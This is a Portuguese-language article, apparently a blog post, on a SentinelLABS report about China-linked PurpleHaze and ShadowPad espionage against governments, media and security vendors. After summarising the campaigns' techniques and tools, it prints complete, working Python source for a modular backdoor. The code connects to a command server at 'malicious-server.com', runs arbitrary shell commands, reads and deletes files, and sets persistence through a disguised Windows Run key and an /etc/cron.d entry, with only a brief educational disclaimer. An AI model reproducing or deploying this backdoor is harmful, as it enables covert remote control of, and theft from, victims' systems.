Em um relatório divulgado hoje, a SentinelLABS — divisão de pesquisas da SentinelOne — revelou uma série de operações cibernéticas patrocinadas por grupos com vínculos à China (apelidados de PurpleHaze e ShadowPad). Essas campanhas envolveram espionagem persistente desde julho de 2024 até março de 2025, visando organizações governamentais, empresas de mídia, fornecedores de TI e, notadamente, vendedores de cibersegurança, incluindo a própria SentinelOne.
Apesar de tentativas de intrusão, a SentinelOne confirmou que suas defesas não foram comprometidas. As operações incluíram varredura e reconhecimento remoto de servidores expostos, além da invasão a uma empresa terceirizada responsável pela logística de hardware da empresa. O amplo escopo da campanha – mais de 70 organizações afetadas – mostra a crescente sofisticação dos ataques, inclusive contra empresas cujo objetivo é proteger outras.
O relatório destaca a urgência de práticas reforçadas de monitoramento contínuo, resposta rápida e transparência no setor, para fortalecer a resiliência diante de ameaças patrocinadas por Estados. A divulgação das atividades visa também estimular a colaboração internacional e a adoção de padrões de segurança mais rígidos .
Os grupos PurpleHaze e ShadowPad, identificados no relatório da SentinelLABS, utilizaram uma combinação de técnicas avançadas de ataque cibernético, com ênfase em furtividade, persistência e comprometimento indireto.
Técnicas utilizadas por PurpleHaze e ShadowPad
1. Reconhecimento remoto e varredura de ativos expostos
- Os atacantes realizaram varredura de servidores públicos e interfaces remotas mal configuradas.
- Usaram ferramentas automatizadas para detectar portas abertas, serviços vulneráveis e configurações padrão de segurança.
2. Comprometimento da cadeia de suprimentos (Supply Chain Attack)
- Em vez de atacar diretamente a SentinelOne, os grupos comprometeram uma empresa terceirizada de logística que lida com hardware para a empresa.
- Essa técnica visa obter acesso indireto, explorando fornecedores com segurança menos rígida.
3. Uso do malware ShadowPad
- ShadowPad é uma plataforma de backdoor modular, altamente furtiva, associada a diversos grupos de espionagem ligados à China.
- Permite:
- Controle remoto.
- Exfiltração de dados.
- Execução de comandos arbitrários.
- Atualização dinâmica de funcionalidades.
4. Acesso persistente
- Implantaram backdoors duráveis que permitiram acesso contínuo e silencioso a ambientes comprometidos por meses, de julho de 2024 a março de 2025.
5. Ofuscação e evasão
- Técnicas de criptografia e empacotamento do malware para evitar detecção por antivírus.
- Utilização de servidores de comando e controle (C2) disfarçados com domínios legítimos ou comprometidos.
6. Segmentação de organizações de alto valor
- Escolha estratégica de alvos com impacto político, econômico e tecnológico: empresas de mídia, governos e fornecedores de cibersegurança.
Ferramentas Automatizadas Utilizadas Pelos Grupos
1. GoReShell (Backdoor personalizado)
- Escrito em Go, permite conexões SSH reversas a servidores sob controle do invasor.
- Baseado em código open-source (reverse_ssh), facilitando a criação de túneis seguros e não detectáveis.
2. Reverse SSH (Técnica de túneis remotos)
- Biblioteca de código aberto usada no GoReShell para estabelecer conexões seguras inversas entre máquina infectada e o invasor.
3. Operational Relay Box (ORB) Network
- Infraestrutura anônima que introduz camadas intermediárias entre o malware e o servidor de comando e controle (C2), dificultando rastreamento .
4. ScatterBrain (Compilador/ofuscador personalizado)
- Ferramenta que ofusca o código do malware, escondendo assinaturas e impede detecção por soluções tradicionais.
- Utilizada especialmente para camuflar o carregamento do backdoor ShadowPad.
BackDoor Modular
Um backdoor modular é um tipo de software malicioso (malware) que permite acesso remoto não autorizado a um sistema de forma altamente flexível, usando módulos que podem ser carregados ou atualizados sob demanda.
O termo modular indica que o backdoor é construído como uma plataforma com partes intercambiáveis. Em vez de conter todas as funções maliciosas de uma vez, ele carrega somente os módulos necessários para cada fase do ataque, como:
- 📡 Conexão com servidor de comando e controle (C2)
- 🧠 Coleta de informações do sistema
- 🗂️ Exfiltração de dados
- 📥 Download e execução de outros malwares
- 🧬 Persistência (voltar após reinicialização)
- 🕵️ Keylogger ou captura de tela
Esses módulos podem ser:
- Instalados dinamicamente (enviados pelo atacante quando desejado);
- Atualizados sem reinstalar o malware principal;
- Usados seletivamente dependendo do ambiente infectado.
Exemplo de código de um BackDoor modular utilizando a linguagem de programação Python
# communication_module.py
import socket
import json
import base64
class CommunicationHandler:
def __init__(self, host, port):
self.host = host
self.port = port
self.connection = None
def connect(self):
"""Establish connection to C2 server"""
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((self.host, self.port))
return True
except Exception as e:
return False
def send_data(self, data):
"""Send encrypted data to C2"""
if not self.connection:
return False
encrypted = self._encrypt(data)
self.connection.send(encrypted)
return True
def receive_command(self):
"""Receive commands from C2"""
if not self.connection:
return None
data = self.connection.recv(1024)
return self._decrypt(data)
def _encrypt(self, data):
"""Simple obfuscation"""
return base64.b64encode(json.dumps(data).encode())
def _decrypt(self, data):
"""Simple deobfuscation"""
return json.loads(base64.b64decode(data).decode())
# command_module.py
import subprocess
import os
class CommandExecutor:
@staticmethod
def execute_system_command(cmd):
"""Execute system commands"""
try:
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE)
return result.decode()
except subprocess.CalledProcessError as e:
return str(e)
@staticmethod
def file_operation(operation, path, content=None):
"""Handle file operations"""
if operation == "read":
with open(path, 'r') as f:
return f.read()
elif operation == "write":
with open(path, 'w') as f:
f.write(content)
return "File written"
elif operation == "delete":
os.remove(path)
return "File deleted"
return "Unknown operation"
# persistence_module.py
import sys
import platform
class PersistenceManager:
@staticmethod
def install():
"""Install persistence mechanism based on OS"""
system = platform.system()
if system == "Windows":
return PersistenceManager._windows_persistence()
elif system == "Linux":
return PersistenceManager._linux_persistence()
return "Unsupported OS"
@staticmethod
def _windows_persistence():
"""Windows persistence via registry"""
try:
import winreg
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "LegitApp", 0, winreg.REG_SZ, sys.executable)
winreg.CloseKey(key)
return "Windows persistence installed"
except Exception as e:
return str(e)
@staticmethod
def _linux_persistence():
"""Linux persistence via cron job"""
try:
cron_line = f"@reboot {sys.executable}\n"
with open("/etc/cron.d/legitjob", "w") as f:
f.write(cron_line)
return "Linux persistence installed"
except Exception as e:
return str(e)
# main_backdoor.py
import time
from communication_module import CommunicationHandler
from command_module import CommandExecutor
from persistence_module import PersistenceManager
class ModularBackdoor:
def __init__(self, c2_host, c2_port):
self.comm = CommunicationHandler(c2_host, c2_port)
self.installed = False
def run(self):
"""Main backdoor loop"""
while True:
if not self.comm.connect():
time.sleep(60)
continue
if not self.installed:
result = PersistenceManager.install()
self.comm.send_data({"type": "persistence", "result": result})
self.installed = True
cmd = self.comm.receive_command()
if cmd:
response = self._handle_command(cmd)
self.comm.send_data(response)
time.sleep(10)
def _handle_command(self, cmd):
"""Process received commands"""
if cmd.get("type") == "system":
result = CommandExecutor.execute_system_command(cmd["command"])
return {"type": "system", "result": result}
elif cmd.get("type") == "file":
result = CommandExecutor.file_operation(
cmd["operation"],
cmd["path"],
cmd.get("content"))
return {"type": "file", "result": result}
return {"type": "error", "result": "Unknown command"}
# Example usage
if __name__ == "__main__":
backdoor = ModularBackdoor("malicious-server.com", 443)
backdoor.run()Este exemplo demonstra como funcionalidades maliciosas podem ser decompostas em componentes reutilizáveis e sustentáveis, mantendo, ao mesmo tempo, sua finalidade danosa. Em sistemas reais, essa modularidade dificulta a detecção, pois os componentes podem ser atualizados ou substituídos independentemente.
Lembre-se: Este exemplo serve apenas para fins educacionais, a fim de compreender padrões de ataque e aprimorar as defesas. Nunca implemente ou utilize esse tipo de código em sistemas reais.
Os ataques não apenas demonstram a sofisticação técnica dos grupos, mas também a mudança de paradigma na espionagem cibernética: quem protege, também vira alvo. O uso de ShadowPad e exploração de fornecedores terceirizados destaca a necessidade de segurança reforçada em todos os níveis da cadeia.
Fontes: SentinelOne / HardReset
